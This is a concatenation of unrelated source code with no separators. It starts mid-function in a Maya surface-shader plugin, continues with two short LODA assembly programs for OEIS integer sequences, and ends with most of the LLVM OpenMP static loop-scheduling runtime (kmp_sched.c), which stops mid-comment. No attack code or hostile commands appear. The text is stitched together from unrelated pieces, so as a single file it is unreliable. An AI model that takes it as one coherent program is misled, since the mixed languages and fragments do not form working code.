).asFloatVector(); MFloatVector& surfaceColor = block.inputValue( aColor ).asFloatVector(); MFloatVector& incandescence = block.inputValue( aIncandescence ).asFloatVector(); float diffuseReflectivity = block.inputValue( aDiffuseReflectivity ).asFloat(); // float translucenceCoeff = block.inputValue( aTranslucenceCoeff ).asFloat(); float threshold = block.inputValue( aThreshold ).asFloat(); MFloatVector& BackLightColor = block.inputValue( aBackColor ).asFloatVector(); float Boost = block.inputValue( aBoost ).asFloat(); // Phong shading attributes float power = block.inputValue( aPower ).asFloat(); float spec = block.inputValue( aSpecularity ).asFloat(); float specularR, specularG, specularB; float diffuseR, diffuseG, diffuseB; float BackR, BackG, BackB; diffuseR = diffuseG = diffuseB = specularR = specularG = specularB = 0.0; BackR = BackG = BackB = 0.0; // get light list MArrayDataHandle lightData = block.inputArrayValue( aLightData ); int numLights = lightData.elementCount(); // iterate through light list and get ambient/diffuse values for( int count=1; count <= numLights; count++ ) { MDataHandle currentLight = lightData.inputValue(); MFloatVector& lightIntensity = currentLight.child(aLightIntensity).asFloatVector(); // float lightShadowF = currentLight.child(aLightShadowFraction).asFloat(); // find ambient component if( currentLight.child(aLightAmbient).asBool() ) { diffuseR += lightIntensity[0]; diffuseG += lightIntensity[1]; diffuseB += lightIntensity[2]; } // find diffuse and specular component if( currentLight.child(aLightDiffuse).asBool() ) { MFloatVector& lightDirection = currentLight.child(aLightDirection).asFloatVector(); float cosln = lightDirection * surfaceNormal; if( cosln > 0.0f ) // calculate only if facing light { diffuseR += lightIntensity[0] * ( cosln * diffuseReflectivity ); diffuseG += lightIntensity[1] * ( cosln * diffuseReflectivity ); diffuseB += lightIntensity[2] * ( cosln * diffuseReflectivity ); } if (((cosln > 0.0) && (cosln <= threshold)) || (cosln <= 0.0)) { float interp; if (threshold != 0.0) { interp = ((1.0f / (-1 - threshold)) * cosln) + (threshold / (threshold + 1)); } else { interp = fabsf(cosln); } BackR += (BackLightColor[0] * interp); BackG += (BackLightColor[1] * interp); BackB += (BackLightColor[2] * interp); } cameraPosition.normalize(); if( cosln > 0.0f ) // calculate only if facing light { float RV = ( ( (2*surfaceNormal) * cosln ) - lightDirection ) * cameraPosition; if( RV < 0.0 ) RV = -RV; if ( power < 0 ) power = -power; float s = spec * powf( RV, power ); specularR += lightIntensity[0] * s; specularG += lightIntensity[1] * s; specularB += lightIntensity[2] * s; } } if( !lightData.next() ) break; } // factor incident light with surface color and add incandescence resultColor[0] = ( diffuseR * surfaceColor[0] ) + specularR + incandescence[0] + (BackR * Boost); resultColor[1] = ( diffuseG * surfaceColor[1] ) + specularG + incandescence[1] + (BackG * Boost); resultColor[2] = ( diffuseB * surfaceColor[2] ) + specularB + incandescence[2] + (BackB * Boost); // set ouput color attribute MDataHandle outColorHandle = block.outputValue( aOutColor ); MFloatVector& outColor = outColorHandle.asFloatVector(); outColor = resultColor; outColorHandle.setClean(); return MS::kSuccess; } // // DESCRIPTION: /////////////////////////////////////////////////////// MStatus initializePlugin( MObject obj ) { const MString UserClassify( "shader/surface" ); MFnPlugin plugin( obj, PLUGIN_COMPANY, "4.5", "Any"); CHECK_MSTATUS( plugin.registerNode( "backFillShader", BackNode::id, BackNode::creator, BackNode::initialize, MPxNode::kDependNode, &UserClassify ) ); return MS::kSuccess; } // // DESCRIPTION: /////////////////////////////////////////////////////// MStatus uninitializePlugin( MObject obj ) { MFnPlugin plugin( obj ); CHECK_MSTATUS( plugin.deregisterNode( BackNode::id ) ); return MS::kSuccess; }
; A301336: a(n) = total number of 1's minus total number of 0's in binary expansions of 0, ..., n. ; -1,0,0,2,1,2,3,6,4,4,4,6,6,8,10,14,11,10,9,10,9,10,11,14,13,14,15,18,19,22,25,30,26,24,22,22,20,20,20,22,20,20,20,22,22,24,26,30,28,28,28,30,30,32,34,38,38,40,42,46,48,52,56,62,57,54,51,50,47,46,45,46,43,42,41,42 seq $0,268289 ; a(0)=0; thereafter a(n) = a(n-1) - A037861(n). sub $0,1
; A200998: Triangular numbers, T(m), that are three-quarters of another triangular number: T(m) such that 4*T(m)=3*T(k) for some k. ; 0,21,4095,794430,154115346,29897582715,5799976931385,1125165627105996,218276331681631860,42344483180609474865,8214611460706556491971,1593592278893891349967530,309148687493954215337208870,59973251781548223884068553271,11634501696932861479293962125725,2257033355953193578759144583837400,437852836553222621417794755302329896 seq $0,82841 ; a(n) = 4*a(n-1) - a(n-2) for n>1, a(0)=3, a(1)=9. pow $0,2 sub $0,81 div $0,3 add $0,26 pow $0,2 div $0,32
/* * kmp_sched.c -- static scheduling -- iteration initialization */ //===----------------------------------------------------------------------===// // // The LLVM Compiler Infrastructure // // This file is dual licensed under the MIT and the University of Illinois Open // Source Licenses. See LICENSE.txt for details. // //===----------------------------------------------------------------------===// /* * Static scheduling initialization. * * NOTE: team->t.t_nproc is a constant inside of any dispatch loop, however * it may change values between parallel regions. __kmp_max_nth * is the largest value __kmp_nth may take, 1 is the smallest. * */ #include "kmp.h" #include "kmp_i18n.h" #include "kmp_str.h" #include "kmp_error.h" #include "kmp_stats.h" #include "kmp_itt.h" #if OMPT_SUPPORT #include "ompt-specific.h" #endif // template for type limits template< typename T > struct i_maxmin { static const T mx; static const T mn; }; template<> struct i_maxmin< int > { static const int mx = 0x7fffffff; static const int mn = 0x80000000; }; template<> struct i_maxmin< unsigned int > { static const unsigned int mx = 0xffffffff; static const unsigned int mn = 0x00000000; }; template<> struct i_maxmin< long long > { static const long long mx = 0x7fffffffffffffffLL; static const long long mn = 0x8000000000000000LL; }; template<> struct i_maxmin< unsigned long long > { static const unsigned long long mx = 0xffffffffffffffffLL; static const unsigned long long mn = 0x0000000000000000LL; }; //------------------------------------------------------------------------- #ifdef KMP_DEBUG //------------------------------------------------------------------------- // template for debug prints specification ( d, u, lld, llu ) char const * traits_t< int >::spec = "d"; char const * traits_t< unsigned int >::spec = "u"; char const * traits_t< long long >::spec = "lld"; char const * traits_t< unsigned long long >::spec = "llu"; //------------------------------------------------------------------------- #endif template< typename T > static void __kmp_for_static_init( ident_t *loc, kmp_int32 global_tid, kmp_int32 schedtype, kmp_int32 *plastiter, T *plower, T *pupper, typename traits_t< T >::signed_t *pstride, typename traits_t< T >::signed_t incr, typename traits_t< T >::signed_t chunk ) { KMP_COUNT_BLOCK(OMP_FOR_static); typedef typename traits_t< T >::unsigned_t UT; typedef typename traits_t< T >::signed_t ST; /* this all has to be changed back to TID and such.. */ register kmp_int32 gtid = global_tid; register kmp_uint32 tid; register kmp_uint32 nth; register UT trip_count; register kmp_team_t *team; register kmp_info_t *th = __kmp_threads[ gtid ]; #if OMPT_SUPPORT && OMPT_TRACE ompt_team_info_t *team_info = __ompt_get_teaminfo(0, NULL); ompt_task_info_t *task_info = __ompt_get_taskinfo(0); #endif KMP_DEBUG_ASSERT( plastiter && plower && pupper && pstride ); KE_TRACE( 10, ("__kmpc_for_static_init called (%d)\n", global_tid)); #ifdef KMP_DEBUG { const char * buff; // create format specifiers before the debug output buff = __kmp_str_format( "__kmpc_for_static_init: T#%%d sched=%%d liter=%%d iter=(%%%s," \ " %%%s, %%%s) incr=%%%s chunk=%%%s signed?<%s>\n", traits_t< T >::spec, traits_t< T >::spec, traits_t< ST >::spec, traits_t< ST >::spec, traits_t< ST >::spec, traits_t< T >::spec ); KD_TRACE(100, ( buff, global_tid, schedtype, *plastiter, *plower, *pupper, *pstride, incr, chunk ) ); __kmp_str_free( &buff ); } #endif if ( __kmp_env_consistency_check ) { __kmp_push_workshare( global_tid, ct_pdo, loc ); if ( incr == 0 ) { __kmp_error_construct( kmp_i18n_msg_CnsLoopIncrZeroProhibited, ct_pdo, loc ); } } /* special handling for zero-trip loops */ if ( incr > 0 ? (*pupper < *plower) : (*plower < *pupper) ) { if( plastiter != NULL ) *plastiter = FALSE; /* leave pupper and plower set to entire iteration space */ *pstride = incr; /* value should never be used */ // *plower = *pupper - incr; // let compiler bypass the illegal loop (like for(i=1;i<10;i--)) THIS LINE CAUSED shape2F/h_tests_1.f TO HAVE A FAILURE ON A ZERO-TRIP LOOP (lower=1,\ upper=0,stride=1) - JPH June 23, 2009. #ifdef KMP_DEBUG { const char * buff; // create format specifiers before the debug output buff = __kmp_str_format( "__kmpc_for_static_init:(ZERO TRIP) liter=%%d lower=%%%s upper=%%%s stride = %%%s signed?<%s>, loc = %%s\n", traits_t< T >::spec, traits_t< T >::spec, traits_t< ST >::spec, traits_t< T >::spec ); KD_TRACE(100, ( buff, *plastiter, *plower, *pupper, *pstride, loc->psource ) ); __kmp_str_free( &buff ); } #endif KE_TRACE( 10, ("__kmpc_for_static_init: T#%d return\n", global_tid ) ); #if OMPT_SUPPORT && OMPT_TRACE if ((ompt_status == ompt_status_track_callback) && ompt_callbacks.ompt_callback(ompt_event_loop_begin)) { ompt_callbacks.ompt_callback(ompt_event_loop_begin)( team_info->parallel_id, task_info->task_id, team_info->microtask); } #endif return; } #if OMP_40_ENABLED if ( schedtype > kmp_ord_upper ) { // we are in DISTRIBUTE construct schedtype += kmp_sch_static - kmp_distribute_static; // AC: convert to usual schedule type tid = th->th.th_team->t.t_master_tid; team = th->th.th_team->t.t_parent; } else #endif { tid = __kmp_tid_from_gtid( global_tid ); team = th->th.th_team; } /* determine if "for" loop is an active worksharing construct */ if ( team -> t.t_serialized ) { /* serialized parallel, each thread executes whole iteration space */ if( plastiter != NULL ) *plastiter = TRUE; /* leave pupper and plower set to entire iteration space */ *pstride = (incr > 0) ? (*pupper - *plower + 1) : (-(*plower - *pupper + 1)); #ifdef KMP_DEBUG { const char * buff; // create format specifiers before the debug output buff = __kmp_str_format( "__kmpc_for_static_init: (serial) liter=%%d lower=%%%s upper=%%%s stride = %%%s\n", traits_t< T >::spec, traits_t< T >::spec, traits_t< ST >::spec ); KD_TRACE(100, ( buff, *plastiter, *plower, *pupper, *pstride ) ); __kmp_str_free( &buff ); } #endif KE_TRACE( 10, ("__kmpc_for_static_init: T#%d return\n", global_tid ) ); #if OMPT_SUPPORT && OMPT_TRACE if ((ompt_status == ompt_status_track_callback) && ompt_callbacks.ompt_callback(ompt_event_loop_begin)) { ompt_callbacks.ompt_callback(ompt_event_loop_begin)( team_info->parallel_id, task_info->task_id, team_info->microtask); } #endif return; } nth = team->t.t_nproc; if ( nth == 1 ) { if( plastiter != NULL ) *plastiter = TRUE; *pstride = (incr > 0) ? (*pupper - *plower + 1) : (-(*plower - *pupper + 1)); #ifdef KMP_DEBUG { const char * buff; // create format specifiers before the debug output buff = __kmp_str_format( "__kmpc_for_static_init: (serial) liter=%%d lower=%%%s upper=%%%s stride = %%%s\n", traits_t< T >::spec, traits_t< T >::spec, traits_t< ST >::spec ); KD_TRACE(100, ( buff, *plastiter, *plower, *pupper, *pstride ) ); __kmp_str_free( &buff ); } #endif KE_TRACE( 10, ("__kmpc_for_static_init: T#%d return\n", global_tid ) ); #if OMPT_SUPPORT && OMPT_TRACE if ((ompt_status == ompt_status_track_callback) && ompt_callbacks.ompt_callback(ompt_event_loop_begin)) { ompt_callbacks.ompt_callback(ompt_event_loop_begin)( team_info->parallel_id, task_info->task_id, team_info->microtask); } #endif return; } /* compute trip count */ if ( incr == 1 ) { trip_count = *pupper - *plower + 1; } else if (incr == -1) { trip_count = *plower - *pupper + 1; } else { if ( incr > 1 ) { // the check is needed for unsigned division when incr < 0 trip_count = (*pupper - *plower) / incr + 1; } else { trip_count = (*plower - *pupper) / ( -incr ) + 1; } } if ( __kmp_env_consistency_check ) { /* tripcount overflow? */ if ( trip_count == 0 && *pupper != *plower ) { __kmp_error_construct( kmp_i18n_msg_CnsIterationRangeTooLarge, ct_pdo, loc ); } } /* compute remaining parameters */ switch ( schedtype ) { case kmp_sch_static: { if ( trip_count < nth ) { KMP_DEBUG_ASSERT( __kmp_static == kmp_sch_static_greedy || \ __kmp_static == kmp_sch_static_balanced ); // Unknown static scheduling type. if ( tid < trip_count ) { *pupper = *plower = *plower + tid * incr; } else { *plower = *pupper + incr; } if( plastiter != NULL ) *plastiter = ( tid == trip_count - 1 ); } else { if ( __kmp_static == kmp_sch_static_balanced ) { register UT small_chunk = trip_count / nth; register UT extras = trip_count % nth; *plower += incr * ( tid * small_chunk + ( tid < extras ? tid : extras ) ); *pupper = *plower + small_chunk * incr - ( tid < extras ? 0 : incr ); if( plastiter != NULL ) *plastiter = ( tid == nth - 1 ); } else { register T big_chunk_inc_count = ( trip_count/nth + ( ( trip_count % nth ) ? 1 : 0) ) * incr; register T old_upper = *pupper; KMP_DEBUG_ASSERT( __kmp_static == kmp_sch_static_greedy ); // Unknown static scheduling type. *plower += tid * big_chunk_inc_count; *pupper = *plower + big_chunk_inc_count - incr; if ( incr > 0 ) { if( *pupper < *plower ) *pupper = i_maxmin< T >::mx; if( plastiter != NULL ) *plastiter = *plower <= old_upper && *pupper > old_upper - incr; if ( *pupper > old_upper ) *pupper = old_upper; // tracker C73258 } else { if( *pupper > *plower ) *pupper = i_maxmin< T >::mn; if( plastiter != NULL ) *plastiter = *plower >= old_upper && *pupper < old_upper - incr; if ( *pupper < old_upper ) *pupper = old_upper; // tracker C73258 } } } break; } case kmp_sch_static_chunked: { register ST span; if ( chunk < 1 ) { chunk = 1; } span = chunk * incr; *pstride = span * nth; *plower = *plower + (span * tid); *pupper = *plower + span - incr; if( plastiter != NULL ) *plastiter = (tid == ((trip_count - 1)/( UT )chunk) % nth); break; } default: KMP_ASSERT2( 0, "__kmpc_for_static_init: unknown scheduling type" ); break; } #if USE_ITT_BUILD // Report loop metadata if ( KMP_MASTER_TID(tid) && __itt_metadata_add_ptr && __kmp_forkjoin_frames_mode == 3 && #if OMP_40_ENABLED th->th.th_teams_microtask == NULL && #endif team->t.t_active_level == 1 ) { kmp_uint64 cur_chunk = chunk; // Calculate chunk in case it was not specified; it is specified for kmp_sch_static_chunked if ( schedtype == kmp_sch_static ) { cur_chunk = trip_count / nth + ( ( trip_count % nth ) ? 1 : 0); } // 0 - "static" schedule __kmp_itt_metadata_loop(loc, 0, trip_count, cur_chunk); } #endif #ifdef KMP_DEBUG { const char * buff; // create format specifiers before the debug output buff = __kmp_str_format( "__kmpc_for_static_init: liter=%%d lower=%%%s upper=%%%s stride = %%%s signed?<%s>\n", traits_t< T >::spec, traits_t< T >::spec, traits_t< ST >::spec, traits_t< T >::spec ); KD_TRACE(100, ( buff, *plastiter, *plower, *pupper, *pstride ) ); __kmp_str_free( &buff ); } #endif KE_TRACE( 10, ("__kmpc_for_static_init: T#%d return\n", global_tid ) ); #if OMPT_SUPPORT && OMPT_TRACE if ((ompt_status == ompt_status_track_callback) && ompt_callbacks.ompt_callback(ompt_event_loop_begin)) { ompt_callbacks.ompt_callback(ompt_event_loop_begin)( team_info->parallel_id, task_info->task_id, team_info->microtask); } #endif return; } template< typename T > static void __kmp_dist_for_static_init( ident_t *loc, kmp_int32 gtid, kmp_int32 schedule, kmp_int32 *plastiter, T *plower, T *pupper, T *pupperDist, typename traits_t< T >::signed_t *pstride, typename traits_t< T >::signed_t incr, typename traits_t< T >::signed_t chunk ) { KMP_COUNT_BLOCK(OMP_DISTR_FOR_static); typedef typename traits_t< T >::unsigned_t UT; typedef typename traits_t< T >::signed_t ST; register kmp_uint32 tid; register kmp_uint32 nth; register kmp_uint32 team_id; register kmp_uint32 nteams; register UT trip_count; register kmp_team_t *team; kmp_info_t * th; KMP_DEBUG_ASSERT( plastiter && plower && pupper && pupperDist && pstride ); KE_TRACE( 10, ("__kmpc_dist_for_static_init called (%d)\n", gtid)); #ifdef KMP_DEBUG { const char * buff; // create format specifiers before the debug output buff = __kmp_str_format( "__kmpc_dist_for_static_init: T#%%d schedLoop=%%d liter=%%d "\ "iter=(%%%s, %%%s, %%%s) chunk=%%%s signed?<%s>\n", traits_t< T >::spec, traits_t< T >::spec, traits_t< ST >::spec, traits_t< ST >::spec, traits_t< T >::spec ); KD_TRACE(100, ( buff, gtid, schedule, *plastiter, *plower, *pupper, incr, chunk ) ); __kmp_str_free( &buff ); } #endif if( __kmp_env_consistency_check ) { __kmp_push_workshare( gtid, ct_pdo, loc ); if( incr == 0 ) { __kmp_error_construct( kmp_i18n_msg_CnsLoopIncrZeroProhibited, ct_pdo, loc ); } if( incr > 0 ? (*pupper < *plower) : (*plower < *pupper) ) { // The loop is illegal. // Some zero-trip loops maintained by compiler, e.g.: // for(i=10;i<0;++i) // lower >= upper - run-time check // for(i=0;i>10;--i) // lower <= upper - run-time check // for(i=0;i>10;++i) // incr > 0 - compile-time check // for(i=10;i<0;--i) // incr < 0 - compile-time check // Compiler does not check the following illegal loops: // for(i=0;i<10;i+=incr) // where incr<0 // for(i=10;i>0;i-=incr) // where incr<0 __kmp_error_construct( kmp_i18n_msg_CnsLoopIncrIllegal, ct_pdo, loc ); } } tid = __kmp_tid_from_gtid( gtid ); th = __kmp_threads[gtid]; KMP_DEBUG_ASSERT(th->th.th_teams_microtask); // we are in the teams construct nth = th->th.th_team_nproc; team = th->th.th_team; #if OMP_40_ENABLED nteams = th->th.th_teams_size.nteams; #endif team_id = team->t.t_master_tid; KMP_DEBUG_ASSERT(nteams == team->t.t_parent->t.t_nproc); // compute global trip count if( incr == 1 ) { trip_count = *pupper - *plower + 1; } else if(incr == -1) { trip_count = *plower - *pupper + 1; } else { trip_count = (ST)(*pupper - *plower) / incr + 1; // cast to signed to cover incr<0 case } *pstride = *pupper - *plower; // just in case (can be unused) if( trip_count <= nteams ) { KMP_DEBUG_ASSERT( __kmp_static == kmp_sch_static_greedy || \ __kmp_static == kmp_sch_static_balanced ); // Unknown static scheduling type. // only masters of some teams get single iteration, other threads get nothing if( team_id < trip_count && tid == 0 ) { *pupper = *pupperDist = *plower = *plower + team_id * incr; } else { *pupperDist = *pupper; *plower = *pupper + incr; // compiler should skip loop body } if( plastiter != NULL ) *plastiter = ( tid == 0 && team_id == trip_count - 1 ); } else { // Get the team's chunk first (each team gets at most one chunk) if( __kmp_static == kmp_sch_static_balanced ) { register UT chunkD = trip_count / nteams; register UT extras = trip_count % nteams; *plower += incr * ( team_id * chunkD + ( team_id < extras ? team_id : extras ) ); *pupperDist = *plower + chunkD * incr - ( team_id < extras ? 0 : incr ); if( plastiter != NULL ) *plastiter = ( team_id == nteams - 1 ); } else { register T chunk_inc_count = ( trip_count / nteams + ( ( trip_count % nteams ) ? 1 : 0) ) * incr; register T upper = *pupper; KMP_DEBUG_ASSERT( __kmp_static == kmp_sch_static_greedy ); // Unknown static scheduling type. *plower += team_id * chunk_inc_count; *pupperDist = *plower + chunk_inc_count - incr; // Check/correct bounds if needed if( incr > 0 ) { if( *pupperDist < *plower ) *pupperDist = i_maxmin< T >::mx; if( plastiter != NULL ) *plastiter = *plower <= upper && *pupperDist > upper - incr; if( *pupperDist > upper ) *pupperDist = upper; // tracker C73258 if( *plower > *pupperDist ) { *pupper = *pupperDist; // no iterations available for the team goto end; } } else { if( *pupperDist > *plower ) *pupperDist = i_maxmin< T >::mn; if( plastiter != NULL ) *plastiter = *plower >= upper && *pupperDist < upper - incr; if( *pupperDist < upper ) *pupperDist = upper; // tracker C73258 if( *plower < *pupperDist ) { *pupper = *pupperDist; // no iterations available for the team goto end; } } } // Get the parallel loop chunk now (for thread) // compute trip count for team's chunk if( incr == 1 ) { trip_count = *pupperDist - *plower + 1; } else if(incr == -1) { trip_count = *plower - *pupperDist + 1; } else { trip_count = (ST)(*pupperDist - *plower) / incr + 1; } KMP_DEBUG_ASSERT( trip_count ); switch( schedule ) { case kmp_sch_static: { if( trip_count <= nth ) { KMP_DEBUG_ASSERT( __kmp_static == kmp_sch_static_greedy || \ __kmp_static == kmp_sch_static_balanced ); // Unknown static scheduling type. if( tid < trip_count ) *pupper = *plower = *plower + tid * incr; else *plower = *pupper + incr; // no iterations available if( plastiter != NULL ) if( *plastiter != 0 && !( tid == trip_count - 1 ) ) *plastiter = 0; } else { if( __kmp_static == kmp_sch_static_balanced ) { register UT chunkL = trip_count / nth; register UT extras = trip_count % nth; *plower += incr * (tid * chunkL + (tid < extras ? tid : extras)); *pupper = *plower + chunkL * incr - (tid < extras ? 0 : incr); if( plastiter != NULL ) if( *plastiter != 0 && !( tid == nth - 1 ) ) *plastiter = 0; } else { register T chunk_inc_count = ( trip_count / nth + ( ( trip_count % nth ) ? 1 : 0) ) * incr; register T upper = *pupperDist; KMP_DEBUG_ASSERT( __kmp_static == kmp_sch_static_greedy ); // Unknown static scheduling type. *plower += tid * chunk_inc_count; *pupper = *plower + chunk_inc_count - incr; if( incr > 0 ) { if( *pupper < *plower ) *pupper = i_maxmin< T >::mx; if( plastiter != NULL ) if( *plastiter != 0 && !(*plower <= upper && *pupper > upper - incr) ) *plastiter = 0; if( *pupper > upper ) *pupper = upper;//tracker C73258 } else { if( *pupper > *plower ) *pupper = i_maxmin< T >::mn; if( plastiter != NULL ) if( *plastiter != 0 && !(*plower >= upper && *pupper < upper - incr) ) *plastiter = 0; if( *pupper < upper ) *pupper = upper;//tracker C73258 } } } break; } case kmp_sch_static_chunked: { register ST span; if( chunk < 1 ) chunk = 1; span = chunk * incr; *pstride = span * nth; *plower = *plower + (span * tid); *pupper = *plower + span - incr; if( plastiter != NULL ) if( *plastiter != 0 && !(tid == ((trip_count - 1) / ( UT )chunk) % nth) ) *plastiter = 0; break; } default: KMP_ASSERT2( 0, "__kmpc_dist_for_static_init: unknown loop scheduling type" ); break; } } end:; #ifdef KMP_DEBUG { const char * buff; // create format specifiers before the debug output buff = __kmp_str_format( "__kmpc_dist_for_static_init: last=%%d lo=%%%s up=%%%s upDist=%%%s "\ "stride=%%%s signed?<%s>\n", traits_t< T >::spec, traits_t< T >::spec, traits_t< T >::spec, traits_t< ST >::spec, traits_t< T >::spec ); KD_TRACE(100, ( buff, *plastiter, *plower, *pupper, *pupperDist, *pstride ) ); __kmp_str_free( &buff ); } #endif KE_TRACE( 10, ("__kmpc_dist_for_static_init: T#%d return\n", gtid ) ); return; } template< typename T > static void __kmp_team_static_init( ident_t *loc, kmp_int32 gtid, kmp_int32 *p_last, T *p_lb, T *p_ub, typename traits_t< T >::signed_t *p_st, typename traits_t< T >::signed_t incr, typename traits_t< T >::signed_t chunk ) { // The routine returns the first chunk distributed to the team and // stride for next chunks calculation. // Last iteration flag set for the team that will execute // the last iteration of the loop. // The routine is called for dist_schedue(static,chunk) only. typedef typename traits_t< T >::unsigned_t UT; typedef typename traits_t< T >::signed_t ST; kmp_uint32 team_id; kmp_uint32 nteams; UT trip_count; T lower; T upper; ST span; kmp_team_t *team; kmp_info_t *th; KMP_DEBUG_ASSERT( p_last && p_lb && p_ub && p_st ); KE_TRACE( 10, ("__kmp_team_static_init called (%d)\n", gtid)); #ifdef KMP_DEBUG { const char * buff; // create format specifiers before the debug output buff = __kmp_str_format( "__kmp_team_static_init enter: T#%%d liter=%%d "\ "iter=(%%%s, %%%s, %%%s) chunk %%%s; signed?<%s>\n", traits_t< T >::spec, traits_t< T >::spec, traits_t< ST >::spec, traits_t< ST >::spec, traits_t< T >::spec ); KD_TRACE(100, ( buff, gtid, *p_last, *p_lb, *p_ub, *p_st, chunk ) ); __kmp_str_free( &buff ); } #endif lower = *p_lb; upper = *p_ub; if( __kmp_env_consistency_check ) { if( incr == 0 ) { __kmp_error_construct( kmp_i18n_msg_CnsLoopIncrZeroProhibited, ct_pdo, loc ); } if( incr > 0 ? (upper < lower) : (lower < upper) ) { // The loop is illegal. // Some zero-trip loops maintained by compiler, e.g.: // for(i=10;i<0;++i) // lower >= upper - run-time check // for(i=0;i>10;--i) // lower <= upper - run-time check // for(i=0;i>10;++i) // incr > 0 - compile-time check // for(i=10;i<0;--i) // incr < 0 - compile-time check // Compiler does not check the following illegal loops: // for(i=0;i<10;i+=incr) // where incr<0 // for(i=10;i>0;i-=incr) // where incr<0 __kmp_error_construct( kmp_i18n_msg_CnsLoopIncrIllegal, ct_pdo, loc ); } } th = __kmp_threads[gtid]; KMP_DEBUG_ASSERT(th->th.th_teams_microtask); // we are in the teams construct team = th->th.th_team; #if OMP_40_ENABLED nteams = th->th.th_teams_size.nteams; #endif team_id = team->t.t_master_tid; KMP_DEBUG_ASSERT(nteams == team->t.t_parent->t.t_nproc); // compute trip count if( incr == 1 ) { trip_count = upper - lower + 1; } else if(incr == -1) { trip_count = lower - upper + 1; } else { trip_count = (ST)(upper - lower) / incr + 1; // cast to signed to cover incr<0 case } if( chunk < 1 ) chunk = 1; span = chunk * incr; *p_st = span * nteams; *p_lb = lower + (span * team_id); *p_ub = *p_lb + span - incr; if ( p_last != NULL ) *p_last = (team_id == ((trip_count - 1)/(UT)chunk) % nteams); // Correct upper bound if needed if( incr > 0 ) { if( *p_ub < *p_lb ) // overflow? *p_ub = i_maxmin< T >::mx; if( *p_ub > upper ) *p_ub = upper; // tracker C73258 } else { // incr < 0 if( *p_ub > *p_lb ) *p_ub = i_maxmin< T >::mn; if( *p_ub < upper ) *p_ub = upper; // tracker C73258 } #ifdef KMP_DEBUG { const char * buff; // create format specifiers before the debug output buff = __kmp_str_format( "__kmp_team_static_init exit: T#%%d team%%u liter=%%d "\ "iter=(%%%s, %%%s, %%%s) chunk %%%s\n", traits_t< T >::spec, traits_t< T >::spec, traits_t< ST >::spec, traits_t< ST >::spec ); KD_TRACE(100, ( buff, gtid, team_id, *p_last, *p_lb, *p_ub, *p_st, chunk ) ); __kmp_str_free( &buff ); } #endif } //-------------------------------------------------------------------------------------- extern "C" { /*! @ingroup WORK_SHARING @param loc Source code location @param gtid Global thread id of this thread @param schedtype Scheduling type @param plastiter Pointer to the "last iteration" flag @param plower Pointer to the lower bound @param pupper Pointer to the upper bound @param pstride Pointer to the stride @param incr Loop increment @param chunk The chunk size Each of the four functions here are identical apart from the argument types. The functions compute the upper and lower bounds and stride to be used for the set of iterations to be executed by the current thread from the statically scheduled loop that is described by the initial values of the bounds, stride, increment and chunk size. @{ */ void __kmpc_for_static_init_4( ident_t *loc, kmp_int32 gtid, kmp_int32 schedtype, kmp_int32 *plastiter, kmp_int32 *plower, kmp_int32 *pupper, kmp_int32 *pstride, kmp_int32 incr, kmp_int32 chunk ) { __kmp_for_static_init< kmp_int32 >( loc, gtid, schedtype, plastiter, plower, pupper, pstride, incr, chunk ); } /*! See @ref __kmpc_for_static_init_4 */ void __kmpc_for_static_init_4u( ident_t *loc, kmp_int32 gtid, kmp_int32 schedtype, kmp_int32 *plastiter, kmp_uint32 *plower, kmp_uint32 *pupper, kmp_int32 *pstride, kmp_int32 incr, kmp_int32 chunk ) { __kmp_for_static_init< kmp_uint32 >( loc, gtid, schedtype, plastiter, plower, pupper, pstride, incr, chunk ); } /*! See @ref __kmpc_for_static_init_4 */ void __kmpc_for_static_init_8( ident_t *loc, kmp_int32 gtid, kmp_int32 schedtype, kmp_int32 *plastiter, kmp_int64 *plower, kmp_int64 *pupper, kmp_int64 *pstride, kmp_int64 incr, kmp_int64 chunk ) { __kmp_for_static_init< kmp_int64 >( loc, gtid, schedtype, plastiter, plower, pupper, pstride, incr, chunk ); } /*! See @ref __kmpc_for_static_init_4 */ void __kmpc_for_static_init_8u( ident_t *loc, kmp_int32 gtid, kmp_int32 schedtype, kmp_int32 *plastiter, kmp_uint64 *plower, kmp_uint64 *pupper, kmp_int64 *pstride, kmp_int64 incr, kmp_int64 chunk ) { __kmp_for_static_init< kmp_uint64 >( loc, gtid, schedtype, plastiter, plower, pupper, pstride, incr, chunk ); } /*! @} */ /*! @ingroup WORK_SHARING @param loc Source code location @param gtid Global thread id of this thread @param schedule Scheduling type for the parallel loop @param plastiter Pointer to the "last iteration" flag @param plower Pointer to the lower bound @param pupper Pointer to the upper bound of loop chunk @param pupperD Pointer to the upper bound of dist_chunk @param pstride Pointer to the stride for parallel loop @param incr Loop increment @param chunk The chunk size for the parallel loop Each of the four functions here are identical apart from the argument types. The functions compute the upper and lower bounds and strides to be used for the set of iterations to be executed by the current thread from the statically scheduled loop that is described by the initial values of the bounds, strides, increment and chunks for parallel loop and distribute constructs. @{ */ void __kmpc_dist_for_static_init_4( ident_t *loc, kmp_int32 gtid, kmp_int32 schedule, kmp_int32 *plastiter, kmp_int32 *plower, kmp_int32 *pupper, kmp_int32 *pupperD, kmp_int32 *pstride, kmp_int32 incr, kmp_int32 chunk ) { __kmp_dist_for_static_init< kmp_int32 >( loc, gtid, schedule, plastiter, plower, pupper, pupperD, pstride, incr, chunk ); } /*! See @ref __kmpc_dist_for_static_init_4 */ void __kmpc_dist_for_static_init_4u( ident_t *loc, kmp_int32 gtid, kmp_int32 schedule, kmp_int32 *plastiter, kmp_uint32 *plower, kmp_uint32 *pupper, kmp_uint32 *pupperD, kmp_int32 *pstride, kmp_int32 incr, kmp_int32 chunk ) { __kmp_dist_for_static_init< kmp_uint32 >( loc, gtid, schedule, plastiter, plower, pupper, pupperD, pstride, incr, chunk ); } /*! See @ref __kmpc_dist_for_static_init_4 */ void __kmpc_dist_for_static_init_8( ident_t *loc, kmp_int32 gtid, kmp_int32 schedule, kmp_int32 *plastiter, kmp_int64 *plower, kmp_int64 *pupper, kmp_int64 *pupperD, kmp_int64 *pstride, kmp_int64 incr, kmp_int64 chunk ) { __kmp_dist_for_static_init< kmp_int64 >( loc, gtid, schedule, plastiter, plower, pupper, pupperD, pstride, incr, chunk ); } /*! See @ref __kmpc_dist_for_static_init_4 */ void __kmpc_dist_for_static_init_8u( ident_t *loc, kmp_int32 gtid, kmp_int32 schedule, kmp_int32 *plastiter, kmp_uint64 *plower, kmp_uint64 *pupper, kmp_uint64 *pupperD, kmp_int64 *pstride, kmp_int64 incr, kmp_int64 chunk ) { __kmp_dist_for_static_init< kmp_uint64 >( loc, gtid, schedule, plastiter, plower, pupper, pupperD, pstride, incr, chunk ); } /*! @} */ //----------------------------------------------------------------------------------------- // Auxiliary routines for 